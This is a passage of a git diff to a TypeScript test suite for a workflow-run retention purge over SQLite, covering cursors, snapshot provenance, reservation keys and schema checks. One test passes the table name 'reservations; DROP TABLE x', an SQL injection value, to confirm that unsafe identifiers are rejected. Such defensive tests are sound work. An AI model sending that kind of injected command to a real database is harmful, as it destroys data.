     expect(reservationRows(sqlite)).toHaveLength(1);
   });
 
   it('sweeps orphans on the strict side of the horizon, and never one whose snapshot survives', async () => {
-    // #given the three rows the sweep's predicate has to separate, in ONE pass
-    // so they are judged by the same cutoff. With no `startIdempotencyTtlMs`
-    // the horizon is the run TTL, so the boundary is exactly NOW - 7 days and
-    // the comparison is `updated_at < cutoff` — strict, because a row AT the
-    // cutoff has not yet outlived it.
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2491,8 +2760,6 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: cutoff - 1,
     });
-    // Old enough to sweep on age alone, but its run is still readable — a
-    // suspended run, which run retention never reclaims.
     seedRun(sqlite, {
       runId: 'run-still-here',
       status: 'suspended',
@@ -2504,19 +2771,12 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 90 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then exactly the row PAST the horizon is gone. The at-cutoff row is the
-    // boundary this test exists for: a `<=` here would reap a key on the last
-    // instant it is still meant to answer ALREADY_SETTLED, and the retry that
-    // arrives in that instant would start a second run. The snapshot-backed row
-    // survives on `NOT EXISTS`, whatever its age, which is the HARD rule.
     expect(reservationRows(sqlite).map((row) => row.key)).toEqual([
       'key-at-cutoff',
       'key-with-snapshot',
@@ -2524,10 +2784,6 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
   });
 
   it('still purges runs on a deployment where no key has ever been used', async () => {
-    // #given the reservation table wired but never created — its DDL is lazy,
-    // so a deployment on which nobody used a key has none. A batch naming a
-    // missing table fails as ONE TRANSACTION, which would take run retention
-    // down with it.
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     await createResourceOwnershipSchema(sqliteUnitDatabase(sqlite) as never);
@@ -2536,27 +2792,21 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       status: 'success',
       updatedAt: NOW - 8 * DAY_MS,
     });
-
-    // #when
     const deleted = await purgeExpiredWorkflowRuns(
       sqliteUnitDatabase(sqlite) as never,
       {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
         startIdempotencyTable: START_IDEMPOTENCY_TABLE,
         now: () => NOW,
       },
     );
-
-    // #then retention is enforced anyway: an absent table holds no reservation
-    // to reap, which is not a reason to stop reclaiming runs.
     expect(deleted).toBe(1);
     expect(remainingRunIds(sqlite)).toEqual([]);
   });
 
-  it('pairs reservations on the artifact path too', async () => {
-    // #given the per-run path a host with R2 artifacts takes — a different
-    // batch, and therefore a second place the pairing could have been missed
+  it('removes an expired snapshot and legacy reservation with an artifact store', async () => {
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2571,28 +2821,23 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 8 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       artifactStore: { deleteRun: async () => 0 },
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then
     expect(remainingRunIds(sqlite)).toEqual([]);
     expect(reservationRows(sqlite)).toEqual([]);
   });
 
   it('refuses a reservation table name that is not a safe SQL identifier', async () => {
-    // #given — the name is interpolated into every statement above
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
-
-    // #when / #then
     await expect(
       purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+        advanceCursor: async () => {},
         ttlMs: DAY_MS,
         startIdempotencyTable: 'reservations; DROP TABLE x',
       }),
@@ -2602,16 +2847,2221 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
 
 describe('RUN_TTL_FLOWSAFE_PURGE_TABLES', () => {
   it('names the production constants, not literals, so a rename fails here', () => {
-    // #given — the flowsafe-owned half of what run retention deletes from.
-    // It is separate from RUN_TTL_PURGE_TABLES because the schema guard's
-    // biconditional is over the `mastra_%` inventory: folding ours in would
-    // make that guard assert an equality it cannot mean.
-    //
-    // #then each entry is the EXPORTED name its purge statement interpolates.
-    // A rename of either table changes both sides at once, so this cannot drift
-    // the way a copied literal would.
     expect([...RUN_TTL_FLOWSAFE_PURGE_TABLES].sort()).toEqual(
       [RESOURCE_OWNERSHIP_TABLE, START_IDEMPOTENCY_TABLE].sort(),
     );
   });
 });
+
+function retentionSnapshot(
+  db: SqliteDatabase,
+  runId: string,
+  options: {
+    prefix?: string;
+    workflowId?: string;
+    token?: string;
+    provenance?: unknown;
+    status?: string;
+    padding?: string;
+  } = {},
+): void {
+  const execution = normalizeStartExecutionIdentity({
+    tablePrefix: options.prefix ?? '',
+    workflowId: options.workflowId ?? 'wf',
+    runId,
+    startToken: options.token ?? 'S1',
+    owner: { kind: 'human', id: 'initiator' },
+    target: { kind: 'workflow', id: 'logical' },
+  });
+  const provenance = options.provenance ?? {
+    version: 2,
+    startToken: execution.startToken,
+    startIdentity: { owner: execution.owner, target: execution.target },
+  };
+  if (options.provenance === undefined) decodeRunStartIdentity(provenance);
+  db.prepare(`INSERT INTO "${options.prefix ?? ''}mastra_workflow_snapshot"
+    (workflow_name,run_id,resourceId,snapshot,createdAt,updatedAt) VALUES (?,?,NULL,?,?,?)`).run(
+    options.workflowId ?? 'wf',
+    runId,
+    JSON.stringify({
+      status: options.status ?? 'success',
+      requestContext: { 'flowsafe.runProvenance': provenance },
+      padding: options.padding,
+    }),
+    new Date(NOW - 9 * DAY_MS).toISOString(),
+    new Date(NOW - 8 * DAY_MS).toISOString(),
+  );
+}
+
+function retentionReservation(
+  db: SqliteDatabase,
+  key: string,
+  overrides: Record<string, unknown> = {},
+): void {
+  const row = {
+    key,
+    owner_kind: 'human',
+    owner_id: 'initiator',
+    target_kind: 'workflow',
+    target_id: 'logical',
+    run_id: 'run',
+    thread_id: null,
+    state: 'terminal',
+    created_at: NOW - 10 * DAY_MS,
+    updated_at: NOW - 8 * DAY_MS,
+    start_token: 'S1',
+    start_table_prefix: '',
+    start_workflow_id: 'wf',
+    ...overrides,
+  };
+  db.prepare(
+    `INSERT INTO ${START_IDEMPOTENCY_TABLE} (${Object.keys(row).join(',')}) VALUES (${Object.keys(
+      row,
+    )
+      .map(() => '?')
+      .join(',')})`,
+  ).run(...Object.values(row));
+}
+
+function retentionCycle(options: Partial<PurgeExpiredRunsOptions> = {}) {
+  let cursor: RunRetentionCursor | undefined;
+  const advances: RunRetentionCursor[] = [];
+  return {
+    advances,
+    get cursor() {
+      return cursor;
+    },
+    options(): PurgeExpiredRunsOptions {
+      return {
+        ttlMs: 7 * DAY_MS,
+        now: () => NOW,
+        startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+        cursor,
+        advanceCursor: async (next) => {
+          cursor = structuredClone(next);
+          advances.push(cursor);
+        },
+        ...options,
+      };
+    },
+  };
+}
+
+function retentionIntercept(
+  db: RetentionTestDatabase,
+  hooks: {
+    read?: (sql: string, result: unknown) => unknown;
+    beforeBatch?: () => void;
+    afterBatch?: (results: unknown[]) => unknown[];
+    statement?: (sql: string, values: unknown[]) => void;
+  },
+): RetentionTestDatabase {
+  function wrap(
+    sql: string,
+    statement: SnapshotStatement,
+    values: unknown[],
+  ): SnapshotStatement {
+    return {
+      ...statement,
+      all: async <T>() => {
+        hooks.statement?.(sql, values);
+        const result = await statement.all<T>();
+        return (hooks.read ? hooks.read(sql, result) : result) as {
+          results: T[];
+        };
+      },
+    };
+  }
+  const statements = new WeakMap<
+    SnapshotStatement,
+    { sql: string; values: unknown[] }
+  >();
+  function tracked(
+    sql: string,
+    statement: SnapshotStatement,
+    values: unknown[],
+  ): SnapshotStatement {
+    const wrapped = wrap(sql, statement, values);
+    wrapped.bind = (...bound) => tracked(sql, statement.bind(...bound), bound);
+    statements.set(wrapped, { sql, values });
+    return wrapped;
+  }
+  return {
+    prepare: (sql) => tracked(sql, db.prepare(sql), []),
+    batch: async (prepared) => {
+      for (const statement of prepared) {
+        const entry = statements.get(statement);
+        if (!entry) throw new Error('untracked statement');
+        hooks.statement?.(entry.sql, entry.values);
+      }
+      hooks.beforeBatch?.();
+      const results = await db.batch(prepared);
+      // The hooks hand back `unknown[]` on purpose: that is what a wrong
+      // adapter returns.
+      return hooks.afterBatch
+        ? (hooks.afterBatch(results) as Awaited<
+            ReturnType<RetentionTestDatabase['batch']>
+          >)
+        : results;
+    },
+  };
+}
+
+function retentionWorld() {
+  const sqlite = openSqlite();
+  createSnapshotTable(sqlite);
+  createReservationTable(sqlite);
+  return { sqlite, db: retentionDb(sqlite), cycle: retentionCycle() };
+}
+
+function replaceRetentionSnapshot(
+  db: SqliteDatabase,
+  snapshot: unknown,
+  runId = 'run',
+): void {
+  db.prepare(
+    'UPDATE mastra_workflow_snapshot SET snapshot=? WHERE run_id=?',
+  ).run(
+    typeof snapshot === 'string' ? snapshot : JSON.stringify(snapshot),
+    runId,
+  );
+}
+
+interface RetentionSnapshotFixture {
+  status: string;
+  padding: string;
+  requestContext: {
+    'flowsafe.runProvenance': {
+      version: number | boolean;
+      startToken: string;
+      startIdentity: {
+        owner: { kind: string; id: string };
+        target: { kind: string; id: string; threadId?: string };
+        padding?: string;
+      } | null;
+      agentStart?: unknown;
+      attemptToken?: string;
+      resumeCounts?: unknown;
+    };
+  };
+}
+
+function currentRetentionSnapshot(
+  db: SqliteDatabase,
+  runId = 'run',
+): RetentionSnapshotFixture {
+  const row = db
+    .prepare('SELECT snapshot FROM mastra_workflow_snapshot WHERE run_id=?')
+    .get(runId) as { snapshot: string };
+  return JSON.parse(row.snapshot);
+}
+
+describe('generation-safe run retention', () => {
+  it.each([
+    null,
+    false,
+    0,
+    '',
+    [],
+    {},
+    { version: 2, tablePrefix: '' },
+    {
+      version: 1,
+      tablePrefix: '',
+      snapshots: { afterRowId: 2, highWaterRowId: 1 },
+    },
+    {
+      version: 1,
+      tablePrefix: '',
+      snapshots: { afterRowId: -Infinity, highWaterRowId: 1 },
+    },
+    {
+      version: 1,
+      tablePrefix: '',
+      reservations: { afterRowId: 0, highWaterRowId: 1 },
+    },
+    { version: 1, tablePrefix: '', extra: true },
+  ])('rejects malformed persisted cursor %j before I/O', async (cursor) => {
+    const prepare = vi.fn();
+    await expect(
+      purgeExpiredWorkflowRuns(
+        { prepare, batch: vi.fn() },
+        { ttlMs: 0, cursor: cursor as never, advanceCursor: vi.fn() },
+      ),
+    ).rejects.toThrow();
+    expect(prepare).not.toHaveBeenCalled();
+  });
+
+  it('captures cursor scope and negative positions without invoking accessors', () => {
+    const input = {
+      version: 1 as const,
+      tablePrefix: 'TENANT_',
+      startIdempotencyTable: 'Keys',
+      snapshots: { afterRowId: -9, highWaterRowId: -2 },
+    };
+    const parsed = parseRunRetentionCursor(input);
+    input.snapshots.afterRowId = 0;
+    expect(parsed).toEqual({
+      version: 1,
+      tablePrefix: 'tenant_',
+      startIdempotencyTable: 'keys',
+      snapshots: { afterRowId: -9, highWaterRowId: -2 },
+    });
+    expect(Object.isFrozen(parsed)).toBe(true);
+    expect(Object.isFrozen(parsed?.snapshots)).toBe(true);
+    const getter = vi.fn(() => 1);
+    expect(() =>
+      parseRunRetentionCursor(
+        Object.defineProperty({ tablePrefix: '' }, 'version', { get: getter }),
+      ),
+    ).toThrow();
+    expect(getter).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    { ttlMs: -1 },
+    { ttlMs: Infinity },
+    { startIdempotencyTtlMs: NaN },
+    { limit: 0 },
+    { limit: 0.5 },
+    { limit: Infinity },
+    { now: () => Infinity },
+    { now: () => 8.64e15 },
+    { now: null },
+    { advanceCursor: undefined },
+    { artifactStore: {} },
+    { cursor: { version: 1, tablePrefix: 'other_' } },
+    { resourceOwnerTable: 'x'.repeat(90_000) },
+  ])('rejects invalid captured options before SQL %j', async (invalid) => {
+    const prepare = vi.fn();
+    await expect(
+      purgeExpiredWorkflowRuns({ prepare, batch: vi.fn() }, {
+        ttlMs: 0,
+        advanceCursor: vi.fn(),
+        ...invalid,
+      } as never),
+    ).rejects.toThrow();
+    expect(prepare).not.toHaveBeenCalled();
+  });
+
+  it('requires batch for a snapshot-only purge', async () => {
+    const prepare = vi.fn();
+    await expect(
+      purgeExpiredWorkflowRuns({ prepare } as never, {
+        ttlMs: 0,
+        advanceCursor: vi.fn(),
+      }),
+    ).rejects.toThrow(/batch/);
+    expect(prepare).not.toHaveBeenCalled();
+  });
+
+  it('captures callbacks, methods and one clock before the first read', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const callback = vi.fn();
+    const artifactStore = {
+      deleteRun: async () => {
+        callback();
+        return 0;
+      },
+    };
+    const now = vi.fn(() => NOW);
+    const options = { ...cycle.options(), artifactStore, now };
+    const capturedAdvance = options.advanceCursor;
+    const intercepted = retentionIntercept(db, {
+      read: (_sql, result) => {
+        options.ttlMs = Infinity;
+        options.advanceCursor = async () => {
+          throw new Error('replaced cursor');
+        };
+        artifactStore.deleteRun = async () => {
+          throw new Error('replaced artifacts');
+        };
+        intercepted.batch = async () => {
+          throw new Error('replaced batch');
+        };
+        return result;
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, options)).toBe(1);
+    expect(now).toHaveBeenCalledTimes(1);
+    expect(callback).toHaveBeenCalledTimes(1);
+    expect(cycle.advances).toHaveLength(2);
+    expect(options.advanceCursor).not.toBe(capturedAdvance);
+  });
+
+  it.each([
+    [
+      'generation',
+      (
+        p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'],
+      ) => {
+        p.startToken = 'S2';
+      },
+    ],
+    [
+      'owner',
+      (
+        p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'],
+      ) => {
+        if (p.startIdentity) p.startIdentity.owner.id = 'other';
+      },
+    ],
+    [
+      'null versus missing',
+      (
+        p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'],
+      ) => {
+        p.agentStart = null;
+      },
+    ],
+    [
+      'boolean versus number',
+      (
+        p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'],
+      ) => {
+        p.version = true;
+      },
+    ],
+    [
+      'explicit null identity',
+      (
+        p: RetentionSnapshotFixture['requestContext']['flowsafe.runProvenance'],
+      ) => {
+        p.startIdentity = null;
+      },
+    ],
+  ])('preserves current snapshot and key after changed %s', async (_name, change) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    retentionReservation(sqlite, 'key', { state: 'started' });
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        const snapshot = currentRetentionSnapshot(sqlite);
+        change(snapshot.requestContext['flowsafe.runProvenance']);
+        replaceRetentionSnapshot(sqlite, snapshot);
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+    expect(reservationRows(sqlite)[0]?.state).toBe('started');
+    expect(cycle.cursor?.snapshots).toBeUndefined();
+  });
+
+  it.each([
+    '{"status":"success","requestContext":{},"requestContext":{"flowsafe.runProvenance":{"version":2,"startToken":"S2"}}}',
+    '{"status":"success","requestContext":{"flowsafe.runProvenance":{"version":2,"startToken":"S1","version":1}}}',
+    '{"status":"success","requestContext":{"flowsafe.runProvenance":{"version":2,"startToken":"S1"},"flowsafe.runProvenance":{"version":2,"startToken":"S2"}}}',
+  ])('preserves ambiguous duplicate provenance paths during selection and recheck', async (raw) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => replaceRetentionSnapshot(sqlite, raw),
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+  });
+
+  it('permits H, progress and large unowned payload changes with the same owned capsule', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run', { padding: 'x'.repeat(200_000) });
+    let largestSelector = 0;
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        const snapshot = currentRetentionSnapshot(sqlite);
+        snapshot.requestContext['flowsafe.runProvenance'].attemptToken =
+          'other-H';
+        snapshot.requestContext['flowsafe.runProvenance'].resumeCounts = [
+          ['step', 2],
+        ];
+        snapshot.padding += 'more';
+        replaceRetentionSnapshot(sqlite, snapshot);
+      },
+      statement: (sql, values) => {
+        if (sql.includes('DELETE FROM "mastra_workflow_snapshot"'))
+          largestSelector = String(values[3]).length;
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      1,
+    );
+    expect(largestSelector).toBeLessThan(1000);
+  });
+
+  it.each([
+    'snapshot',
+    'createdAt',
+    'updatedAt',
+    'resourceId',
+  ])('preserves a changed legacy %s field', async (field) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    seedRun(sqlite, {
+      runId: 'run',
+      status: 'success',
+      updatedAt: NOW - 8 * DAY_MS,
+    });
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        const value =
+          field === 'snapshot'
+            ? '{"status":"success","changed":true}'
+            : field === 'resourceId'
+              ? 'new-resource'
+              : new Date(NOW - 7.5 * DAY_MS).toISOString();
+        sqlite
+          .prepare(`UPDATE mastra_workflow_snapshot SET ${field}=?`)
+          .run(value);
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+  });
+
+  it('does not treat rowid reuse as snapshot identity', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    seedRun(sqlite, {
+      runId: 'run',
+      status: 'success',
+      updatedAt: NOW - 8 * DAY_MS,
+    });
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        sqlite.exec('DELETE FROM mastra_workflow_snapshot');
+        retentionSnapshot(sqlite, 'replacement');
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(remainingRunIds(sqlite)).toEqual(['replacement']);
+  });
+
+  it.each([
+    'sibling-prefix',
+    'sibling-workflow',
+    'reserved-owner',
+  ])('protects %s ownership while removing an expired snapshot', async (kind) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    await createResourceOwnershipSchema(db as never);
+    const resources = new D1ResourceOwnershipStore(db as never);
+    await resources.claim('run', 'run', {
+      kind: 'human',
+      id: 'resource-owner',
+    });
+    retentionSnapshot(sqlite, 'run');
+    if (kind === 'reserved-owner')
+      sqlite.exec(
+        `UPDATE ${RESOURCE_OWNERSHIP_TABLE} SET reservation_token='claim-token'`,
+      );
+    else {
+      if (kind === 'sibling-prefix') createSnapshotTable(sqlite, 'sibling_');
+      retentionSnapshot(sqlite, 'run', {
+        prefix: kind === 'sibling-prefix' ? 'sibling_' : '',
+        workflowId: 'other',
+      });
+      sqlite.exec(
+        `UPDATE ${kind === 'sibling-prefix' ? 'sibling_' : ''}mastra_workflow_snapshot SET snapshot='corrupt' WHERE workflow_name='other'`,
+      );
+    }
+    expect(
+      await purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      }),
+    ).toBe(1);
+    expect(
+      sqlite
+        .prepare(
+          `SELECT owner_kind,owner_id,reservation_token FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_kind='run' AND resource_id='run'`,
+        )
+        .get(),
+    ).toEqual({
+      owner_kind: 'human',
+      owner_id: 'resource-owner',
+      reservation_token: kind === 'reserved-owner' ? 'claim-token' : null,
+    });
+  });
+
+  it('releases a resource owner distinct from the initiating principal', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    const resources = new D1ResourceOwnershipStore(db as never);
+    await resources.claim('run', 'run', {
+      kind: 'human',
+      id: 'resource-owner',
+    });
+    retentionSnapshot(sqlite, 'run');
+    expect(
+      await purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      }),
+    ).toBe(1);
+    expect(await resources.owner('run', 'run')).toBeUndefined();
+  });
+
+  it.each([
+    ['start_token', 'S2'],
+    ['start_table_prefix', 'other_'],
+    ['start_workflow_id', 'other'],
+    ['run_id', 'other'],
+    ['owner_kind', 'agent'],
+    ['owner_id', 'other'],
+    ['target_kind', 'agent'],
+    ['target_id', 'other'],
+    ['thread_id', 'thread'],
+  ])('does not terminalize a different bound tuple field %s', async (field, value) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    retentionReservation(sqlite, 'mismatch', {
+      state: 'started',
+      [field]: value,
+    });
+    retentionReservation(sqlite, 'matching', { state: 'started' });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(reservationRows(sqlite)).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({
+          key: 'matching',
+          state: 'terminal',
+          updated_at: NOW,
+        }),
+        expect.objectContaining({
+          key: 'mismatch',
+          state: 'started',
+          updated_at: NOW - 8 * DAY_MS,
+        }),
+      ]),
+    );
+  });
+
+  it('settles complete aliases and preserves terminal stamps, unbound and legacy records', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    for (const key of ['alias-one', 'alias-two'])
+      retentionReservation(sqlite, key, { state: 'reserved' });
+    retentionReservation(sqlite, 'terminal', { updated_at: NOW - DAY_MS });
+    retentionReservation(sqlite, 'legacy', {
+      state: 'started',
+      start_token: null,
+      start_table_prefix: null,
+      start_workflow_id: null,
+    });
+    retentionReservation(sqlite, 'unbound', {
+      state: 'reserved',
+      start_token: '',
+      start_table_prefix: null,
+      start_workflow_id: null,
+    });
+    retentionReservation(sqlite, 'null-bound', {
+      state: 'started',
+      start_table_prefix: null,
+    });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(reservationRows(sqlite)).toEqual(
+      expect.arrayContaining([
+        ...['alias-one', 'alias-two'].map((key) =>
+          expect.objectContaining({ key, state: 'terminal', updated_at: NOW }),
+        ),
+        expect.objectContaining({ key: 'terminal', updated_at: NOW - DAY_MS }),
+        expect.objectContaining({ key: 'legacy', state: 'started' }),
+        expect.objectContaining({ key: 'unbound', state: 'reserved' }),
+        expect.objectContaining({ key: 'null-bound', state: 'started' }),
+      ]),
+    );
+  });
+
+  it('pairs an inherited logical identity at its physical child address and leaves unattributed snapshots unpaired', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'child', { workflowId: 'physical-child' });
+    retentionReservation(sqlite, 'child-key', {
+      run_id: 'child',
+      start_workflow_id: 'physical-child',
+      state: 'started',
+    });
+    retentionReservation(sqlite, 'root-key', {
+      run_id: 'child',
+      start_workflow_id: 'logical',
+      state: 'started',
+    });
+    retentionSnapshot(sqlite, 'unattributed', {
+      provenance: { version: 2, startToken: 'S1' },
+    });
+    retentionReservation(sqlite, 'unattributed-key', {
+      run_id: 'unattributed',
+      state: 'started',
+    });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(2);
+    expect(reservationRows(sqlite)).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({ key: 'child-key', state: 'terminal' }),
+        expect.objectContaining({ key: 'root-key', state: 'started' }),
+        expect.objectContaining({ key: 'unattributed-key', state: 'started' }),
+      ]),
+    );
+  });
+
+  it.each([
+    'same',
+    'different',
+    'absent',
+    'missing-namespace',
+    'legacy',
+    'malformed',
+    'oversize',
+    'unbound',
+    'null-bound',
+  ])('classifies orphan %s without inferring namespace or generation', async (kind) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(
+      sqlite,
+      'key',
+      kind === 'missing-namespace'
+        ? { start_table_prefix: 'missing_' }
+        : kind === 'null-bound'
+          ? { start_table_prefix: null }
+          : kind === 'unbound'
+            ? {
+                start_token: '',
+                start_table_prefix: null,
+                start_workflow_id: null,
+              }
+            : {},
+    );
+    if (!['absent', 'missing-namespace'].includes(kind)) {
+      retentionSnapshot(sqlite, 'run', {
+        status: 'suspended',
+        token: kind === 'different' ? 'S2' : 'S1',
+      });
+      if (kind === 'legacy')
+        replaceRetentionSnapshot(sqlite, { status: 'suspended' });
+      if (kind === 'malformed') replaceRetentionSnapshot(sqlite, 'broken');
+      if (kind === 'oversize') {
+        const snapshot = currentRetentionSnapshot(sqlite);
+        const identity =
+          snapshot.requestContext['flowsafe.runProvenance'].startIdentity;
+        if (!identity) throw new Error('fixture requires start identity');
+        identity.padding = 'x'.repeat(4096);
+        replaceRetentionSnapshot(sqlite, snapshot);
+      }
+    }
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+    expect(reservationRows(sqlite)).toHaveLength(
+      ['different', 'absent', 'missing-namespace'].includes(kind) ? 0 : 1,
+    );
+  });
+
+  it('rechecks the observed different generation before orphan expiry', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run', { token: 'S2', status: 'suspended' });
+    retentionReservation(sqlite, 'key');
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        const snapshot = currentRetentionSnapshot(sqlite);
+        snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S1';
+        replaceRetentionSnapshot(sqlite, snapshot);
+      },
+    });
+    await purgeExpiredWorkflowRuns(intercepted, cycle.options());
+    expect(reservationRows(sqlite)).toHaveLength(1);
+  });
+
+  it('rechecks a raw orphan key when its timestamp or binding changes', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'key');
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () =>
+        sqlite.exec(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token='S2',updated_at=updated_at+0.5`,
+        ),
+    });
+    await purgeExpiredWorkflowRuns(intercepted, cycle.options());
+    expect(reservationRows(sqlite)).toHaveLength(1);
+  });
+
+  it('expires independent orphans without a snapshot table and preserves legacy raw thread values', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    sqlite.exec('DROP TABLE mastra_workflow_snapshot');
+    retentionReservation(sqlite, 'bound');
+    retentionReservation(sqlite, 'legacy', {
+      start_token: null,
+      start_table_prefix: null,
+      start_workflow_id: null,
+      thread_id: 'invalid/thread',
+      created_at: -2.5,
+      updated_at: -1.5,
+    });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+    expect(reservationRows(sqlite)).toEqual([]);
+  });
+});
+
+describe('run retention schema, progress and result contracts', () => {
+  it.each([
+    0, 1, 2, 3,
+  ])('supports reservation schema stage %i with compatible legacy rows', async (stage) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'legacy', {
+      start_token: null,
+      start_table_prefix: null,
+      start_workflow_id: null,
+      thread_id: 'not/a/path',
+      updated_at: -1.5,
+    });
+    for (const column of [
+      'start_workflow_id',
+      'start_table_prefix',
+      'start_token',
+    ].slice(0, 3 - stage))
+      sqlite.exec(
+        `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`,
+      );
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+    expect(reservationRows(sqlite)).toEqual([]);
+  });
+
+  it.each([
+    1, 2,
+  ])('retains nonnull partial companion data at stage %i', async (stage) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'partial');
+    for (const column of ['start_workflow_id', 'start_table_prefix'].slice(
+      0,
+      3 - stage,
+    ))
+      sqlite.exec(
+        `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`,
+      );
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(reservationRows(sqlite)).toHaveLength(1);
+  });
+
+  it.each([
+    'view',
+    'bad-prefix',
+    'overlong-prefix',
+    'namespace-overflow',
+    'reservation-view',
+    'reservation-columns',
+    'reservation-order',
+  ])('refuses unsupported schema %s before artifact or mutation work', async (kind) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    if (kind === 'view')
+      sqlite.exec(
+        'CREATE VIEW other_mastra_workflow_snapshot AS SELECT * FROM mastra_workflow_snapshot',
+      );
+    if (kind === 'bad-prefix')
+      sqlite.exec('CREATE TABLE "bad-prefix_mastra_workflow_snapshot" (x)');
+    if (kind === 'overlong-prefix')
+      sqlite.exec(
+        `CREATE TABLE "${'x'.repeat(40)}mastra_workflow_snapshot" (x)`,
+      );
+    if (kind === 'namespace-overflow')
+      for (let i = 0; i < 64; i++) createSnapshotTable(sqlite, `n${i}_`);
+    if (kind === 'reservation-view') {
+      sqlite.exec(
+        `ALTER TABLE ${START_IDEMPOTENCY_TABLE} RENAME TO reserved_rows; CREATE VIEW ${START_IDEMPOTENCY_TABLE} AS SELECT * FROM reserved_rows`,
+      );
+    }
+    if (kind === 'reservation-columns')
+      sqlite.exec(
+        `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN unexpected TEXT`,
+      );
+    if (kind === 'reservation-order')
+      sqlite.exec(
